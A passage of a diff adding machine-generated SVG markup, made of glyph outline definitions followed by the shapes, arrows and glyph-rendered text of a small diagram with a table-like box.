+<path style="stroke:none;" d="M 0.578125 -0.65625 C 0.578125 -0.9375 0.640625 -1.144531 0.765625 -1.28125 C 0.898438 -1.414062 1.082031 -1.484375 1.3125 -1.484375 C 1.53125 -1.484375 1.707031 -1.414062 1.84375 -1.28125 C 1.976562 -1.144531 2.046875 -0.9375 2.046875 -0.65625 C 2.046875 -0.375 1.976562 -0.164062 1.84375 -0.03125 C 1.707031 0.101562 1.53125 0.171875 1.3125 0.171875 C 1.082031 0.171875 0.898438 0.101562 0.765625 -0.03125 C 0.640625 -0.164062 0.578125 -0.375 0.578125 -0.65625 Z M 0.578125 -0.65625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 5.515625 -7.328125 L 5.515625 0 L 4.453125 0 L 4.453125 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 L 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.3125 -9.332031 1.6875 -9.75 C 2.0625 -10.164062 2.601562 -10.375 3.3125 -10.375 C 3.789062 -10.375 4.207031 -10.328125 4.5625 -10.234375 C 4.925781 -10.140625 5.21875 -10.035156 5.4375 -9.921875 L 5.109375 -9.03125 C 4.867188 -9.175781 4.601562 -9.273438 4.3125 -9.328125 C 4.03125 -9.390625 3.734375 -9.421875 3.421875 -9.421875 C 3.140625 -9.421875 2.921875 -9.375 2.765625 -9.28125 C 2.609375 -9.1875 2.484375 -9.046875 2.390625 -8.859375 C 2.304688 -8.679688 2.25 -8.460938 2.21875 -8.203125 C 2.195312 -7.941406 2.1875 -7.648438 2.1875 -7.328125 Z M 5.515625 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-26">
+<path style="stroke:none;" d="M 2.359375 -3.75 L 0.421875 -7.328125 L 1.6875 -7.328125 L 2.765625 -5.234375 L 3.0625 -4.421875 L 3.375 -5.234375 L 4.484375 -7.328125 L 5.65625 -7.328125 L 3.703125 -3.8125 L 5.765625 0 L 4.5625 0 L 3.328125 -2.296875 L 3 -3.1875 L 2.671875 -2.296875 L 1.4375 0 L 0.28125 0 Z M 2.359375 -3.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-27">
+<path style="stroke:none;" d="M 1.359375 -1.109375 C 1.546875 -1.003906 1.757812 -0.921875 2 -0.859375 C 2.238281 -0.804688 2.515625 -0.78125 2.828125 -0.78125 C 3.097656 -0.78125 3.34375 -0.832031 3.5625 -0.9375 C 3.78125 -1.039062 3.96875 -1.191406 4.125 -1.390625 C 4.289062 -1.585938 4.414062 -1.820312 4.5 -2.09375 C 4.59375 -2.363281 4.640625 -2.660156 4.640625 -2.984375 C 4.640625 -3.703125 4.476562 -4.226562 4.15625 -4.5625 C 3.84375 -4.894531 3.398438 -5.0625 2.828125 -5.0625 L 1.953125 -5.0625 L 1.953125 -5.484375 L 3.65625 -8.78125 L 4.21875 -9.390625 L 3.421875 -9.28125 L 1.109375 -9.28125 L 1.109375 -10.265625 L 5.375 -10.265625 L 5.375 -9.84375 L 3.484375 -6.34375 L 3.046875 -5.90625 L 3.046875 -5.890625 L 3.484375 -5.96875 C 3.785156 -5.96875 4.070312 -5.90625 4.34375 -5.78125 C 4.613281 -5.664062 4.847656 -5.488281 5.046875 -5.25 C 5.242188 -5.007812 5.398438 -4.710938 5.515625 -4.359375 C 5.628906 -4.003906 5.6875 -3.59375 5.6875 -3.125 C 5.6875 -2.59375 5.609375 -2.117188 5.453125 -1.703125 C 5.304688 -1.296875 5.101562 -0.953125 4.84375 -0.671875 C 4.582031 -0.398438 4.28125 -0.191406 3.9375 -0.046875 C 3.59375 0.0976562 3.222656 0.171875 2.828125 0.171875 C 2.484375 0.171875 2.160156 0.140625 1.859375 0.078125 C 1.554688 0.0234375 1.296875 -0.0507812 1.078125 -0.15625 Z M 1.359375 -1.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-28">
+<path style="stroke:none;" d="M 5.828125 -4.734375 L 2.046875 -4.734375 L 2.046875 0 L 0.9375 0 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -5.75 L 5.828125 -5.75 L 5.828125 -10.265625 L 6.921875 -10.265625 L 6.921875 0 L 5.828125 0 Z M 5.828125 -4.734375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-29">
+<path style="stroke:none;" d="M 2 -1.75 C 2 -1.40625 2.046875 -1.160156 2.140625 -1.015625 C 2.234375 -0.867188 2.363281 -0.796875 2.53125 -0.796875 C 2.726562 -0.796875 2.96875 -0.847656 3.25 -0.953125 L 3.34375 -0.109375 C 3.21875 -0.0234375 3.039062 0.0351562 2.8125 0.078125 C 2.582031 0.128906 2.375 0.15625 2.1875 0.15625 C 1.8125 0.15625 1.507812 0.0390625 1.28125 -0.1875 C 1.050781 -0.414062 0.9375 -0.816406 0.9375 -1.390625 L 0.9375 -10.265625 L 2 -10.265625 Z M 2 -1.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-30">
+<path style="stroke:none;" d="M 0.671875 -7.15625 C 0.671875 -8.175781 0.890625 -8.976562 1.328125 -9.5625 C 1.765625 -10.15625 2.410156 -10.453125 3.265625 -10.453125 C 4.085938 -10.453125 4.726562 -10.144531 5.1875 -9.53125 C 5.644531 -8.925781 5.875 -8 5.875 -6.75 C 5.875 -5.644531 5.769531 -4.679688 5.5625 -3.859375 C 5.351562 -3.046875 5.066406 -2.359375 4.703125 -1.796875 C 4.347656 -1.234375 3.925781 -0.789062 3.4375 -0.46875 C 2.945312 -0.144531 2.414062 0.0664062 1.84375 0.171875 L 1.5625 -0.6875 C 2.507812 -0.9375 3.238281 -1.425781 3.75 -2.15625 C 4.269531 -2.894531 4.597656 -3.820312 4.734375 -4.9375 C 4.535156 -4.65625 4.3125 -4.457031 4.0625 -4.34375 C 3.8125 -4.226562 3.476562 -4.171875 3.0625 -4.171875 C 2.75 -4.171875 2.445312 -4.226562 2.15625 -4.34375 C 1.875 -4.46875 1.625 -4.65625 1.40625 -4.90625 C 1.1875 -5.15625 1.007812 -5.46875 0.875 -5.84375 C 0.738281 -6.21875 0.671875 -6.65625 0.671875 -7.15625 Z M 1.75 -7.28125 C 1.75 -6.582031 1.890625 -6.046875 2.171875 -5.671875 C 2.453125 -5.304688 2.828125 -5.125 3.296875 -5.125 C 3.671875 -5.125 3.988281 -5.203125 4.25 -5.359375 C 4.507812 -5.523438 4.695312 -5.734375 4.8125 -5.984375 C 4.832031 -6.109375 4.84375 -6.226562 4.84375 -6.34375 C 4.84375 -6.46875 4.84375 -6.582031 4.84375 -6.6875 C 4.84375 -7.0625 4.8125 -7.414062 4.75 -7.75 C 4.6875 -8.09375 4.585938 -8.390625 4.453125 -8.640625 C 4.316406 -8.898438 4.144531 -9.109375 3.9375 -9.265625 C 3.738281 -9.421875 3.5 -9.5 3.21875 -9.5 C 2.757812 -9.5 2.398438 -9.296875 2.140625 -8.890625 C 1.878906 -8.492188 1.75 -7.957031 1.75 -7.28125 Z M 1.75 -7.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-31">
+<path style="stroke:none;" d="M 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.78125 L 1.96875 -6.78125 C 2.363281 -7.269531 2.894531 -7.515625 3.5625 -7.515625 C 4.3125 -7.515625 4.875 -7.210938 5.25 -6.609375 C 5.632812 -6.015625 5.828125 -5.070312 5.828125 -3.78125 C 5.828125 -2.457031 5.570312 -1.472656 5.0625 -0.828125 C 4.5625 -0.191406 3.851562 0.125 2.9375 0.125 C 2.488281 0.125 2.078125 0.078125 1.703125 -0.015625 C 1.328125 -0.117188 1.046875 -0.238281 0.859375 -0.375 Z M 1.921875 -1.078125 C 2.054688 -0.992188 2.222656 -0.929688 2.421875 -0.890625 C 2.628906 -0.847656 2.84375 -0.828125 3.0625 -0.828125 C 3.570312 -0.828125 3.972656 -1.066406 4.265625 -1.546875 C 4.566406 -2.035156 4.71875 -2.78125 4.71875 -3.78125 C 4.71875 -4.207031 4.691406 -4.585938 4.640625 -4.921875 C 4.585938 -5.253906 4.503906 -5.539062 4.390625 -5.78125 C 4.273438 -6.03125 4.128906 -6.222656 3.953125 -6.359375 C 3.773438 -6.492188 3.554688 -6.5625 3.296875 -6.5625 C 2.941406 -6.5625 2.648438 -6.453125 2.421875 -6.234375 C 2.191406 -6.023438 2.023438 -5.742188 1.921875 -5.390625 Z M 1.921875 -1.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-32">
+<path style="stroke:none;" d="M 5.9375 -3.09375 C 5.925781 -2.601562 5.863281 -2.15625 5.75 -1.75 C 5.644531 -1.34375 5.484375 -1 5.265625 -0.71875 C 5.046875 -0.4375 4.773438 -0.21875 4.453125 -0.0625 C 4.128906 0.09375 3.769531 0.171875 3.375 0.171875 C 2.550781 0.171875 1.90625 -0.125 1.4375 -0.71875 C 0.976562 -1.3125 0.75 -2.222656 0.75 -3.453125 C 0.75 -4.484375 0.851562 -5.40625 1.0625 -6.21875 C 1.269531 -7.03125 1.554688 -7.726562 1.921875 -8.3125 C 2.285156 -8.90625 2.710938 -9.378906 3.203125 -9.734375 C 3.691406 -10.085938 4.210938 -10.328125 4.765625 -10.453125 L 5.0625 -9.59375 C 4.625 -9.476562 4.222656 -9.28125 3.859375 -9 C 3.492188 -8.726562 3.175781 -8.394531 2.90625 -8 C 2.632812 -7.613281 2.40625 -7.175781 2.21875 -6.6875 C 2.039062 -6.195312 1.914062 -5.675781 1.84375 -5.125 C 1.976562 -5.382812 2.191406 -5.613281 2.484375 -5.8125 C 2.785156 -6.007812 3.15625 -6.109375 3.59375 -6.109375 C 4.300781 -6.109375 4.863281 -5.859375 5.28125 -5.359375 C 5.707031 -4.859375 5.925781 -4.101562 5.9375 -3.09375 Z M 4.875 -3 C 4.875 -4.4375 4.351562 -5.15625 3.3125 -5.15625 C 2.945312 -5.15625 2.628906 -5.035156 2.359375 -4.796875 C 2.097656 -4.566406 1.910156 -4.300781 1.796875 -4 C 1.785156 -3.875 1.78125 -3.75 1.78125 -3.625 C 1.78125 -3.507812 1.785156 -3.394531 1.796875 -3.28125 C 1.785156 -2.957031 1.8125 -2.644531 1.875 -2.34375 C 1.9375 -2.050781 2.03125 -1.785156 2.15625 -1.546875 C 2.289062 -1.316406 2.457031 -1.128906 2.65625 -0.984375 C 2.863281 -0.847656 3.101562 -0.78125 3.375 -0.78125 C 3.8125 -0.78125 4.171875 -0.972656 4.453125 -1.359375 C 4.734375 -1.753906 4.875 -2.300781 4.875 -3 Z M 4.875 -3 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-33">
+<path style="stroke:none;" d="M 6.328125 -3.15625 L 4.953125 -3.15625 L 4.953125 0 L 3.90625 0 L 3.90625 -3.15625 L 0.296875 -3.15625 L 0.296875 -3.65625 L 4.1875 -10.4375 L 4.953125 -10.4375 L 4.953125 -4.109375 L 6.328125 -4.109375 Z M 3.90625 -7.390625 L 4.078125 -8.65625 L 4.03125 -8.65625 L 3.59375 -7.53125 L 1.984375 -4.71875 L 1.421875 -4 L 2.234375 -4.109375 L 3.90625 -4.109375 Z M 3.90625 -7.390625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-34">
+<path style="stroke:none;" d="M 1.359375 -10.265625 L 2.46875 -10.265625 L 2.46875 -2.296875 C 2.46875 -1.492188 2.335938 -0.882812 2.078125 -0.46875 C 1.816406 -0.0625 1.363281 0.140625 0.71875 0.140625 C 0.5625 0.140625 0.375 0.117188 0.15625 0.078125 C -0.0625 0.046875 -0.238281 -0.0078125 -0.375 -0.09375 L -0.140625 -1.046875 C -0.046875 -0.984375 0.0546875 -0.9375 0.171875 -0.90625 C 0.296875 -0.875 0.425781 -0.859375 0.5625 -0.859375 C 0.738281 -0.859375 0.878906 -0.894531 0.984375 -0.96875 C 1.085938 -1.050781 1.171875 -1.164062 1.234375 -1.3125 C 1.296875 -1.457031 1.332031 -1.628906 1.34375 -1.828125 C 1.351562 -2.023438 1.359375 -2.253906 1.359375 -2.515625 Z M 1.359375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-35">
+<path style="stroke:none;" d="M 5.234375 -10.265625 L 5.234375 -9.25 L 2.453125 -9.25 L 2.453125 -6.25 L 2.953125 -6.296875 C 3.734375 -6.285156 4.347656 -6.015625 4.796875 -5.484375 C 5.242188 -4.953125 5.472656 -4.195312 5.484375 -3.21875 C 5.472656 -2.664062 5.390625 -2.175781 5.234375 -1.75 C 5.085938 -1.332031 4.878906 -0.976562 4.609375 -0.6875 C 4.347656 -0.40625 4.039062 -0.191406 3.6875 -0.046875 C 3.34375 0.0976562 2.96875 0.171875 2.5625 0.171875 C 1.894531 0.171875 1.351562 0.078125 0.9375 -0.109375 L 1.203125 -1.046875 C 1.378906 -0.953125 1.570312 -0.890625 1.78125 -0.859375 C 2 -0.828125 2.25 -0.8125 2.53125 -0.8125 C 3.09375 -0.8125 3.546875 -1.015625 3.890625 -1.421875 C 4.242188 -1.828125 4.425781 -2.394531 4.4375 -3.125 C 4.425781 -3.875 4.242188 -4.429688 3.890625 -4.796875 C 3.546875 -5.160156 3.066406 -5.34375 2.453125 -5.34375 L 1.484375 -5.265625 L 1.484375 -10.265625 Z M 5.234375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-36">
+<path style="stroke:none;" d="M 4.78125 -7.328125 L 6.09375 -3.046875 L 6.359375 -1.640625 L 6.375 -1.640625 L 6.609375 -3.078125 L 7.59375 -7.328125 L 8.59375 -7.328125 L 6.640625 0.15625 L 6.046875 0.15625 L 4.5625 -4.65625 L 4.359375 -5.890625 L 4.328125 -5.890625 L 4.125 -4.640625 L 2.6875 0.15625 L 2.078125 0.15625 L 0.078125 -7.328125 L 1.203125 -7.328125 L 2.328125 -3.0625 L 2.515625 -1.640625 L 2.53125 -1.640625 L 2.796875 -3.09375 L 4 -7.328125 Z M 4.78125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-37">
+<path style="stroke:none;" d="M 1.0625 -10.265625 L 2.0625 -10.265625 L 1.6875 -7.4375 L 1.0625 -7.4375 Z M 1.0625 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-38">
+<path style="stroke:none;" d="M 1.390625 0 L 4.359375 -8.671875 L 4.890625 -9.390625 L 4.1875 -9.265625 L 0.828125 -9.265625 L 0.828125 -10.265625 L 5.828125 -10.265625 L 5.828125 -9.875 L 2.453125 0 Z M 1.390625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-39">
+<path style="stroke:none;" d="M 1.125 -6.5625 C 1.125 -6.84375 1.1875 -7.050781 1.3125 -7.1875 C 1.445312 -7.320312 1.628906 -7.390625 1.859375 -7.390625 C 2.078125 -7.390625 2.253906 -7.320312 2.390625 -7.1875 C 2.523438 -7.050781 2.59375 -6.84375 2.59375 -6.5625 C 2.59375 -6.28125 2.523438 -6.070312 2.390625 -5.9375 C 2.253906 -5.800781 2.078125 -5.734375 1.859375 -5.734375 C 1.628906 -5.734375 1.445312 -5.800781 1.3125 -5.9375 C 1.1875 -6.070312 1.125 -6.28125 1.125 -6.5625 Z M 1.125 -0.65625 C 1.125 -0.9375 1.1875 -1.144531 1.3125 -1.28125 C 1.445312 -1.414062 1.628906 -1.484375 1.859375 -1.484375 C 2.078125 -1.484375 2.253906 -1.414062 2.390625 -1.28125 C 2.523438 -1.144531 2.59375 -0.9375 2.59375 -0.65625 C 2.59375 -0.375 2.523438 -0.164062 2.390625 -0.03125 C 2.253906 0.101562 2.078125 0.171875 1.859375 0.171875 C 1.628906 0.171875 1.445312 0.101562 1.3125 -0.03125 C 1.1875 -0.164062 1.125 -0.375 1.125 -0.65625 Z M 1.125 -0.65625 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface20660">
+<rect x="0" y="0" width="441" height="407" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 3.5 18.2 L 25.5 18.2 L 25.5 38.5 L 3.5 38.5 Z M 3.5 18.2 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13 25.994141 L 13 31.444141 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12.75 31.444141 L 13 31.944141 L 13.25 31.444141 Z M 12.75 31.444141 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15 26.555859 L 15 32.005859 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.25 26.555859 L 15 26.055859 L 14.75 26.555859 Z M 15.25 26.555859 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 12 27.827539 L 16 27.827539 C 16.552344 27.827539 17 28.352344 17 29 C 17 29.647461 16.552344 30.172461 16 30.172461 L 12 30.172461 C 11.447656 30.172461 11 29.647461 11 29 C 11 28.352344 11.447656 27.827539 12 27.827539 Z M 12 27.827539 " transform="matrix(20,0,0,20,-69,-363)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="181.292969" y="225.892795"/>
+  <use xlink:href="#glyph0-2" x="191.848524" y="225.892795"/>
+  <use xlink:href="#glyph0-3" x="200.737413" y="225.892795"/>
+  <use xlink:href="#glyph0-4" x="207.959635" y="225.892795"/>
+  <use xlink:href="#glyph0-5" x="213.515191" y="225.892795"/>
+  <use xlink:href="#glyph0-6" x="219.070747" y="225.892795"/>
+  <use xlink:href="#glyph0-7" x="223.515191" y="225.892795"/>
+  <use xlink:href="#glyph0-8" x="232.40408" y="225.892795"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="101.15625" y="307.275608"/>
+  <use xlink:href="#glyph0-10" x="108.378472" y="307.275608"/>
+  <use xlink:href="#glyph0-11" x="116.434028" y="307.275608"/>
+  <use xlink:href="#glyph0-12" x="125.322917" y="307.275608"/>
+  <use xlink:href="#glyph0-8" x="130.045139" y="307.275608"/>
+  <use xlink:href="#glyph0-13" x="138.378472" y="307.275608"/>
+  <use xlink:href="#glyph0-14" x="142.545139" y="307.275608"/>
+  <use xlink:href="#glyph0-15" x="146.989583" y="307.275608"/>
+  <use xlink:href="#glyph0-5" x="155.878472" y="307.275608"/>
+  <use xlink:href="#glyph0-2" x="161.434028" y="307.275608"/>
+  <use xlink:href="#glyph0-16" x="170.322917" y="307.275608"/>
+  <use xlink:href="#glyph0-17" x="179.211806" y="307.275608"/>
+  <use xlink:href="#glyph0-3" x="188.100694" y="307.275608"/>
+  <use xlink:href="#glyph0-4" x="195.322917" y="307.275608"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.3 34 C 4.134375 34 4 34.134375 4 34.3 L 4 37.7 C 4 37.865625 4.134375 38 4.3 38 L 17.7 38 C 17.865625 38 18 37.865625 18 37.7 L 18 34.3 C 18 34.134375 17.865625 34 17.7 34 Z M 4.3 34 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4 35.104102 L 18 35.104102 L 18 35.990039 L 4 35.990039 Z M 4 35.104102 " transform="matrix(20,0,0,20,-69,-363)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="18.78125" y="334.478841"/>
+  <use xlink:href="#glyph1-2" x="21.836806" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="43.225694" y="334.478841"/>
+  <use xlink:href="#glyph1-4" x="49.614583" y="334.478841"/>
+  <use xlink:href="#glyph1-5" x="55.447917" y="334.478841"/>
+  <use xlink:href="#glyph1-6" x="64.892361" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="92.114583" y="334.478841"/>
+  <use xlink:href="#glyph1-8" x="98.503472" y="334.478841"/>
+  <use xlink:href="#glyph1-1" x="102.392361" y="334.478841"/>
+  <use xlink:href="#glyph1-9" x="105.447917" y="334.478841"/>
+  <use xlink:href="#glyph1-6" x="110.447917" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="141.003472" y="334.478841"/>
+  <use xlink:href="#glyph1-10" x="144.059028" y="334.478841"/>
+  <use xlink:href="#glyph1-2" x="147.114583" y="334.478841"/>
+  <use xlink:href="#glyph1-6" x="153.503472" y="334.478841"/>
+  <use xlink:href="#glyph1-11" x="159.614583" y="334.478841"/>
+  <use xlink:href="#glyph1-9" x="164.614583" y="334.478841"/>
+  <use xlink:href="#glyph1-8" x="169.892361" y="334.478841"/>
+  <use xlink:href="#glyph1-1" x="173.78125" y="334.478841"/>
+  <use xlink:href="#glyph1-7" x="176.836806" y="334.478841"/>
+  <use xlink:href="#glyph1-12" x="183.225694" y="334.478841"/>
+  <use xlink:href="#glyph1-1" x="187.392361" y="334.478841"/>
+  <use xlink:href="#glyph1-13" x="190.447917" y="334.478841"/>
+  <use xlink:href="#glyph1-3" x="196.836806" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="214.336806" y="334.478841"/>
+  <use xlink:href="#glyph1-10" x="217.392361" y="334.478841"/>
+  <use xlink:href="#glyph1-10" x="220.447917" y="334.478841"/>
+  <use xlink:href="#glyph1-9" x="223.503472" y="334.478841"/>
+  <use xlink:href="#glyph1-4" x="228.78125" y="334.478841"/>
+  <use xlink:href="#glyph1-12" x="234.614583" y="334.478841"/>
+  <use xlink:href="#glyph1-6" x="238.503472" y="334.478841"/>
+  <use xlink:href="#glyph1-14" x="244.336806" y="334.478841"/>
+  <use xlink:href="#glyph1-13" x="250.725694" y="334.478841"/>
+  <use xlink:href="#glyph1-8" x="257.114583" y="334.478841"/>
+  <use xlink:href="#glyph1-15" x="261.003472" y="334.478841"/>
+  <use xlink:href="#glyph1-16" x="266.559028" y="334.478841"/>
+  <use xlink:href="#glyph1-1" x="271.559028" y="334.478841"/>
+  <use xlink:href="#glyph1-2" x="274.614583" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="18.78125" y="352.822591"/>
+  <use xlink:href="#glyph1-18" x="25.447917" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-19" x="43.225694" y="352.822591"/>
+  <use xlink:href="#glyph1-1" x="50.170139" y="352.822591"/>
+  <use xlink:href="#glyph1-20" x="53.225694" y="352.822591"/>
+  <use xlink:href="#glyph1-6" x="58.78125" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="92.114583" y="352.822591"/>
+  <use xlink:href="#glyph1-22" x="98.78125" y="352.822591"/>
+  <use xlink:href="#glyph1-23" x="105.447917" y="352.822591"/>
+  <use xlink:href="#glyph1-23" x="112.114583" y="352.822591"/>
+  <use xlink:href="#glyph1-24" x="118.78125" y="352.822591"/>
+  <use xlink:href="#glyph1-23" x="121.28125" y="352.822591"/>
+  <use xlink:href="#glyph1-23" x="127.947917" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="141.003472" y="352.822591"/>
+  <use xlink:href="#glyph1-10" x="144.059028" y="352.822591"/>
+  <use xlink:href="#glyph1-25" x="147.114583" y="352.822591"/>
+  <use xlink:href="#glyph1-26" x="153.503472" y="352.822591"/>
+  <use xlink:href="#glyph1-6" x="159.336806" y="352.822591"/>
+  <use xlink:href="#glyph1-2" x="165.447917" y="352.822591"/>
+  <use xlink:href="#glyph1-10" x="171.836806" y="352.822591"/>
+  <use xlink:href="#glyph1-24" x="174.614583" y="352.822591"/>
+  <use xlink:href="#glyph1-24" x="177.392361" y="352.822591"/>
+  <use xlink:href="#glyph1-24" x="180.170139" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="214.336806" y="352.822591"/>
+  <use xlink:href="#glyph1-10" x="217.392361" y="352.822591"/>
+  <use xlink:href="#glyph1-10" x="220.447917" y="352.822591"/>
+  <use xlink:href="#glyph1-18" x="223.503472" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="18.78125" y="371.170247"/>
+  <use xlink:href="#glyph1-27" x="25.447917" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-28" x="43.225694" y="371.170247"/>
+  <use xlink:href="#glyph1-6" x="51.003472" y="371.170247"/>
+  <use xlink:href="#glyph1-29" x="57.114583" y="371.170247"/>
+  <use xlink:href="#glyph1-5" x="60.447917" y="371.170247"/>
+  <use xlink:href="#glyph1-6" x="69.892361" y="371.170247"/>
+  <use xlink:href="#glyph1-12" x="76.003472" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="92.114583" y="371.170247"/>
+  <use xlink:href="#glyph1-18" x="98.78125" y="371.170247"/>
+  <use xlink:href="#glyph1-23" x="105.447917" y="371.170247"/>
+  <use xlink:href="#glyph1-24" x="112.114583" y="371.170247"/>
+  <use xlink:href="#glyph1-30" x="114.614583" y="371.170247"/>
+  <use xlink:href="#glyph1-30" x="121.28125" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="141.003472" y="371.170247"/>
+  <use xlink:href="#glyph1-10" x="144.059028" y="371.170247"/>
+  <use xlink:href="#glyph1-31" x="147.114583" y="371.170247"/>
+  <use xlink:href="#glyph1-29" x="153.503472" y="371.170247"/>
+  <use xlink:href="#glyph1-4" x="156.836806" y="371.170247"/>
+  <use xlink:href="#glyph1-9" x="162.670139" y="371.170247"/>
+  <use xlink:href="#glyph1-20" x="167.947917" y="371.170247"/>
+  <use xlink:href="#glyph1-10" x="173.225694" y="371.170247"/>
+  <use xlink:href="#glyph1-24" x="176.003472" y="371.170247"/>
+  <use xlink:href="#glyph1-24" x="178.78125" y="371.170247"/>
+  <use xlink:href="#glyph1-24" x="181.559028" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="214.336806" y="371.170247"/>
+  <use xlink:href="#glyph1-10" x="217.392361" y="371.170247"/>
+  <use xlink:href="#glyph1-10" x="220.447917" y="371.170247"/>
+  <use xlink:href="#glyph1-32" x="223.503472" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="18.78125" y="389.513997"/>
+  <use xlink:href="#glyph1-33" x="25.447917" y="389.513997"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-34" x="43.225694" y="389.513997"/>
+  <use xlink:href="#glyph1-6" x="46.836806" y="389.513997"/>
+  <use xlink:href="#glyph1-8" x="52.947917" y="389.513997"/>
+  <use xlink:href="#glyph1-11" x="56.836806" y="389.513997"/>
+  <use xlink:href="#glyph1-6" x="61.836806" y="389.513997"/>
+  <use xlink:href="#glyph1-15" x="67.670139" y="389.513997"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="92.114583" y="389.513997"/>
+  <use xlink:href="#glyph1-27" x="98.78125" y="389.513997"/>
+  <use xlink:href="#glyph1-35" x="105.447917" y="389.513997"/>
+  <use xlink:href="#glyph1-24" x="112.114583" y="389.513997"/>
+  <use xlink:href="#glyph1-23" x="114.614583" y="389.513997"/>
+  <use xlink:href="#glyph1-23" x="121.28125" y="389.513997"/>
+</g>
